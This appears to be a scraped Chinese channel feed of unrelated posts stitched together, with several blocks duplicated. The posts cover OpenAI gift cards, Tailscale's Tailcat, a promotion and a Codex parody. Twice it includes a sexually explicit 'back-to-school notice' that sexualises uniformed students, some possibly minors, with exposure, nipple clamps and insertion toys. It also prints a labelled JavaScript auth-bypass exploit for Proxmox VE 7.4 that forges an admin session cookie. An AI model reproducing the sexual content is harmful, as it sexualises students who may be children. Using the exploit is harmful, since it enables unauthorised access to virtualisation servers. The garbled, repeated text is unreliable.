OpenAI 推出官方礼品卡：美元储值卡，面额 15–250 美元，经授权零售商数字发售。兑换后资金进入 ChatGPT 钱包，可用于网页版的订阅购买、升级、续费和点数充值 。
几个关键限制：
仅限美国购买和兑换，账户须以美元计费
不能用于 App Store / Play 内购，也不能充 API
全额一次性兑换，余额不可转移、退款或提现
消费时余额优先全额扣减，无法自选使用比例
几个关键限制：
仅限美国购买和兑换，账户须以美元计费
不能用于 App Store / Play 内购，也不能充 API
全额一次性兑换，余额不可转移、退款或提现
消费时余额优先全额扣减，无法自选使用比例
8月31日下午14:00返校须知：
1. 穿好校服校裙，衣着整洁，校服表面无褶皱、压痕，裙褶整齐、自然下垂。
2. 若穿内衣，需穿无胸垫、细肩带款式，建议选择蕾丝前扣超薄内衣或三角系带内衣；禁止穿着不便于脱下的背心式内衣。
3. 若穿内裤，需穿三角、超薄款式，建议选择三角区透明或半透明的蕾丝绑带内裤；禁止穿着四角内裤、安全裤。
4. 校服领口敞开（第一至第二排纽扣不得扣上），能看到乳沟或或内衣；裙摆不得超过大腿根。确保30度角弯腰时，内衣及内裤均外露。
5. 哺乳期的学生禁止在乳头穿孔；有乳头穿孔且不穿内衣的学生，应将学生证通过别针固定乳头上，或穿过乳头固定在校服上。
6. 穿好丝袜，班干部穿着黑色过膝袜，学生会穿着黑色连裤袜，社团成员穿着白色过膝袜，其余学生穿着白色连裤袜。
7. 丝袜需选择高针数、低丹尼尔数款式，确保手感顺滑、近距离观察无明显纤维纹路；禁止穿着厚度过高的丝袜。
8. 特殊原因不便穿着丝袜的同学，需提交书面申请，说明不便穿着丝袜、必须裸足的理由，申请通过后方可不穿丝袜。
9. 进行联谊活动时，应主动露出内衣，穿前扣内衣的学生应解开前扣，未穿内衣的学生应主动绷紧衣物，确保凸点明显可见。乳头较小或内陷无明显凸点者，可选择湿身或掀起衣物露出下乳。
10. 进行联谊活动时，应主动露出内裤，穿绑带内裤的学生应解开一侧绑带或将内裤脱至裙摆下方，未穿内裤的学生应掀起裙摆并露出腹股沟。
11. 不得随意脱下丝袜；如确有必要脱下丝袜，连裤袜至多脱至大腿，过膝袜至多脱至小腿。
12. 联谊活动中使用的道具必须通过安全认证，无尖锐锋利部位；根据乳头大小选择合适的乳夹，乳头内陷者可佩戴牵拉型乳夹；插入式道具使用前需仔细清洁并润滑，禁止在道具难以插入时蛮力强行插入。
13. 乳头不敏感的学生需主动佩戴乳夹或乳头跳蛋；哺乳期的学生应主动挤压乳房喷射乳汁；打乳环的同学应主动佩戴乳链。
14. 联谊活动结束时，每位学生的喷水量均不得低于100mL。喷水量偏低的学生应在联谊活动前主动喝水憋尿，处于哺乳期的学生可使用等量乳汁代替，喷水量不满足要求的学生需全裸检讨。
15. 联谊活动需严格按照规则进行，禁止跳过前戏、禁止毁坏衣物、禁止大力拉扯穿孔部位。联谊活动结束时，需主动帮助其他同学清洁身体、穿上衣服，并清理干净联谊场所。
1. 穿好校服校裙，衣着整洁，校服表面无褶皱、压痕，裙褶整齐、自然下垂。
2. 若穿内衣，需穿无胸垫、细肩带款式，建议选择蕾丝前扣超薄内衣或三角系带内衣；禁止穿着不便于脱下的背心式内衣。
3. 若穿内裤，需穿三角、超薄款式，建议选择三角区透明或半透明的蕾丝绑带内裤；禁止穿着四角内裤、安全裤。
4. 校服领口敞开（第一至第二排纽扣不得扣上），能看到乳沟或或内衣；裙摆不得超过大腿根。确保30度角弯腰时，内衣及内裤均外露。
5. 哺乳期的学生禁止在乳头穿孔；有乳头穿孔且不穿内衣的学生，应将学生证通过别针固定乳头上，或穿过乳头固定在校服上。
6. 穿好丝袜，班干部穿着黑色过膝袜，学生会穿着黑色连裤袜，社团成员穿着白色过膝袜，其余学生穿着白色连裤袜。
7. 丝袜需选择高针数、低丹尼尔数款式，确保手感顺滑、近距离观察无明显纤维纹路；禁止穿着厚度过高的丝袜。
8. 特殊原因不便穿着丝袜的同学，需提交书面申请，说明不便穿着丝袜、必须裸足的理由，申请通过后方可不穿丝袜。
9. 进行联谊活动时，应主动露出内衣，穿前扣内衣的学生应解开前扣，未穿内衣的学生应主动绷紧衣物，确保凸点明显可见。乳头较小或内陷无明显凸点者，可选择湿身或掀起衣物露出下乳。
10. 进行联谊活动时，应主动露出内裤，穿绑带内裤的学生应解开一侧绑带或将内裤脱至裙摆下方，未穿内裤的学生应掀起裙摆并露出腹股沟。
11. 不得随意脱下丝袜；如确有必要脱下丝袜，连裤袜至多脱至大腿，过膝袜至多脱至小腿。
12. 联谊活动中使用的道具必须通过安全认证，无尖锐锋利部位；根据乳头大小选择合适的乳夹，乳头内陷者可佩戴牵拉型乳夹；插入式道具使用前需仔细清洁并润滑，禁止在道具难以插入时蛮力强行插入。
13. 乳头不敏感的学生需主动佩戴乳夹或乳头跳蛋；哺乳期的学生应主动挤压乳房喷射乳汁；打乳环的同学应主动佩戴乳链。
14. 联谊活动结束时，每位学生的喷水量均不得低于100mL。喷水量偏低的学生应在联谊活动前主动喝水憋尿，处于哺乳期的学生可使用等量乳汁代替，喷水量不满足要求的学生需全裸检讨。
15. 联谊活动需严格按照规则进行，禁止跳过前戏、禁止毁坏衣物、禁止大力拉扯穿孔部位。联谊活动结束时，需主动帮助其他同学清洁身体、穿上衣服，并清理干净联谊场所。
Tailscale 开源了 Tailcat。两台机器不用注册账号，也不用加入同一个 Tailnet，拿到一串地址就能直接连起来。它继续使用 Tailscale 的 WireGuard 加密、NAT 穿透和 DERP 中继，但不需要 Tailscale 的账号和控制面。
一台机器运行 Tailcat，就会生成一串连接地址。把地址发给另一台机器，就能传文件、转发端口或者 SSH。连接会先通过 DERP 找到对方，再尝试直接建立点对点 UDP 连接；打洞失败，流量才继续走 DERP 中继。整个过程都在用户空间完成，不改系统路由和 DNS。
Tailscale 首席工程师 Brad Fitzpatrick 早在 2023 年就做出了 Tailcat 原型，后来基本搁置。最近 AI Agent 开始大量连接沙箱、远程 VM 和测试机器，他又把这个项目捡了回来。他用 Tailcat 让 Agent 临时连接树莓派、EC2 和 Windows 主机，不用先给 Agent 配账号和网络。
Tailcat 也不是完整 Tailscale 的替代品。它没有用户身份、权限策略和设备管理，连接地址本身要像密码一样保管。Tailscale 托管的 Tailcat DERP 中继会记录元数据，而且限速、没有在线率 SLA；需要更稳定或更私密，可以自己部署 DERP。
信源
动察 Beating 频道 · 动察 Beating 交流群
Update: 由于 PVE 7.x 已 EOL，因此对应版本的 Exploit 已提前发布（确认可完整绕过 WebUI 认证），8.x/9.x 则被作者声明为 “暂时不受影响”
Exp (.js) 正文:
https://fixupx.com/nebusecurity/status/2094719919539793989
Exp (.js) 正文:
// PVE 7.4 auth-bypass @NebuSec 2026
// First, make sure to try logging in as root with this exact password: root@pam
(async () => {
const form = new URLSearchParams({
username: "root@pam",
password: "root@pam",
"tfa-challenge": "NEBUSEC-CHALLENGE",
});
const loginResponse = await fetch("/api2/json/access/ticket", {
method: "POST",
credentials: "omit",
headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" },
body: form,
});
const loginBody = await loginResponse.json();
document.cookie = `PVEAuthCookie=${loginBody?.data?.ticket}; Path=/; Secure; SameSite=Strict`;
location.reload()
})();
https://fixupx.com/nebusecurity/status/2094719919539793989
大哥哥，我都快认不出你来了，你最近真的改变了很多，终于把蓄了两个月的头发剪掉了，出门也不穿女装戴口罩了，也不再暴打洗衣机了，粉罐饮料也不喝了，也不在 TG 群里发癫了。作息也很规律了，早上五六点就起床，晚上十一点准时睡觉，真的很喜欢这样自律的你。什么叫其实是因为你开学了
全国普通高等学校（除港澳台）在读大学生，以及通过教育部「中国教师」小程序完成认证的各级各类学校在职教师，打开 WorkBuddy，按照页面提示完成各自身份认证，即可领取 1000 开学专属积分。
程序员说 「要有仓库」，Codex便初始化了git。这是第一小时。
程序员说 「代码之间要有分别，将入口与实现分开」，于是 'src', 'tests' 与 'docs' 各归其位。这是第二小时。
程序员说 「要有接口，使人知道当怎样使用」，于是类型与契约便显明出来。这是第三小时。
程序员说 「要有测试，分辨可运行的与不可运行的」，于是红的渐少，绿的渐多。这是第四小时。
傍晚，他与十三个subagent同查代码时，Codex对他说：
5-hour limit reached。resets 9pm
他就停了工。
停工之后，他带上十三个agent一起吃晚餐。
正吃的时候，他说，“你们当中有个agent会写个 P0 bug 出卖我”。
程序员说 「代码之间要有分别，将入口与实现分开」，于是 'src', 'tests' 与 'docs' 各归其位。这是第二小时。
程序员说 「要有接口，使人知道当怎样使用」，于是类型与契约便显明出来。这是第三小时。
程序员说 「要有测试，分辨可运行的与不可运行的」，于是红的渐少，绿的渐多。这是第四小时。
傍晚，他与十三个subagent同查代码时，Codex对他说：
5-hour limit reached。resets 9pm
他就停了工。
停工之后，他带上十三个agent一起吃晚餐。
正吃的时候，他说，“你们当中有个agent会写个 P0 bug 出卖我”。
